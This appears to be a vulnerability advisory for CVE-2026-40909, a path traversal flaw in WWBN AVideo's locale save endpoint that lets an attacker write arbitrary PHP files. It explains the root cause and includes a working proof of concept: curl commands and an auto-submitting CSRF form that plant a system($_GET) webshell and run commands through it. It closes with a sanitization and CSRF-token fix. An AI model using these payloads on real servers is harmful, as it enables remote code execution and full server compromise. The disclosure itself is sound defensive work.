CVE-2026-40909 — WWBN AVideo has a Path Traversal in wwbn/avideo —...

## Summary The locale save endpoint (`locale/save.php`) constructs a file path by directly concatenating `$_POST['flag']` into the path at line 30 without any sanitization. The `$_POST['code']` parameter is then written verbatim to that path via `fwrite()` at line 40. An admin attacker (or any user who can CSRF an admin, since no CSRF token is checked and cookies use `SameSite=None`) can traverse out of the `locale/` directory and write arbitrary `.php` files to any writable location on the filesystem, achieving Remote Code Execution. ## Details In `locale/save.php`, the vulnerable code path is: ```php // locale/save.php:10 — only auth check, no CSRF token if (!User::isAdmin() || !empty($global['disableAdvancedConfigurations'])) { // ... die(json_encode($obj)); } // locale/save.php:16 — base directory $dir = "{$global['systemRootPath']}locale/"; // locale/save.php:30 — UNSANITIZED path concatenation $file = $dir.($_POST['flag']).".php"; $myfile = fopen($file, "w") or die("Unable to open file!"); // locale/save.php:40 — UNSANITIZED content write fwrite($myfile, $_POST['code']); ``` **Root cause**: `$_POST['flag']` is concatenated directly into the file path with no call to `basename()`, `realpath()`, or any filtering of `../` sequences. A `flag` value like `../../shell` resolves to `{systemRootPath}locale/../../shell.php`, which escapes the locale directory and writes to `{systemRootPath}../shell.php` — the web-accessible parent directory. The file content is constructed as: ```php <?php global $t; {$_POST['code']} // attacker-controlled, written verbatim ``` An attacker can inject arbitrary PHP after closing the translation context (e.g., `$t["x"]=1;?><?php system($_GET["c"]);`). **CSRF amplification**: The endpoint performs no CSRF token validation. AVideo intentionally sets `SameSite=None` on session cookies (for cross-origin iframe support), which means cross-site POST requests from an attacker's page will include the admin's session cookie, making CSRF exploitation trivial. ## PoC **Direct exploitation (requires admin session):** ```bash # Step 1: Write a webshell outside locale/ to the webroot curl -b 'PHPSESSID=<admin_session>' \ -X POST 'https://target/locale/save.php' \ -d 'flag=../../webshell&code=$t["x"]=1;?><%3fphp+system($_GET["c"]);' # Step 2: Execute commands via the written webshell curl 'https://target/webshell.php?c=id' # Response: uid=33(www-data) gid=33(www-data) ... ``` **CSRF variant (no direct admin access needed):** Host the following HTML on an attacker-controlled site and lure an admin to visit: ```html <html> <body> <form method="POST" action="https://target/locale/save.php"> <input type="hidden" name="flag" value="../../webshell"> <input type="hidden" name="code" value='$t["x"]=1;?><?php system($_GET["c"]);'> </form> <script>document.forms[0].submit();</script> </body> </html> ``` After the admin visits the page, the attacker accesses `https://target/webshell.php?c=id` for RCE. ## Impact - **Remote Code Execution**: An attacker can write arbitrary PHP code to any writable web-accessible directory, achieving full server compromise. - **CSRF to RCE chain**: Because no CSRF token is required and `SameSite=None` is set, any user who can trick an admin into visiting a malicious page achieves unauthenticated RCE. This significantly expands the attack surface beyond admin-only. - **Full server compromise**: With arbitrary PHP execution as the web server user, the attacker can read/modify the database, access all user data, pivot to other services, and potentially escalate privileges on the host. ## Recommended Fix Sanitize the `flag` parameter to prevent path traversal and add CSRF protection: ```php // locale/save.php — after the admin check at line 14 // Add CSRF token validation if (empty($_POST['token']) || !User::isValidToken($_POST['token'])) { $obj->status = 0; $obj->error = __("Invalid token"); die(json_encode($obj)); } // Sanitize flag to prevent path traversal $flag = basename($_POST['flag']); // strip directory components if (empty($flag) || preg_match('/[^a-zA-Z0-9_\-]/', $flag)) { $obj->status = 0; $obj->error = __("Invalid locale flag"); die(json_encode($obj)); } $file = $dir . $flag . ".php"; // Verify resolved path is within expected directory $realDir = realpath($dir); $realFile = realpath(dirname($file)) . '/' . basename($file); if (strpos($realFile, $realDir) !== 0) { $obj->status = 0; $obj->error = __("Invalid file path"); die(json_encode($obj)); } ``` Additionally, the `code` parameter should be validated to ensure it only contains translation assignments (`$t[...] = ...;`) and does not include PHP opening/closing tags or arbitrary code.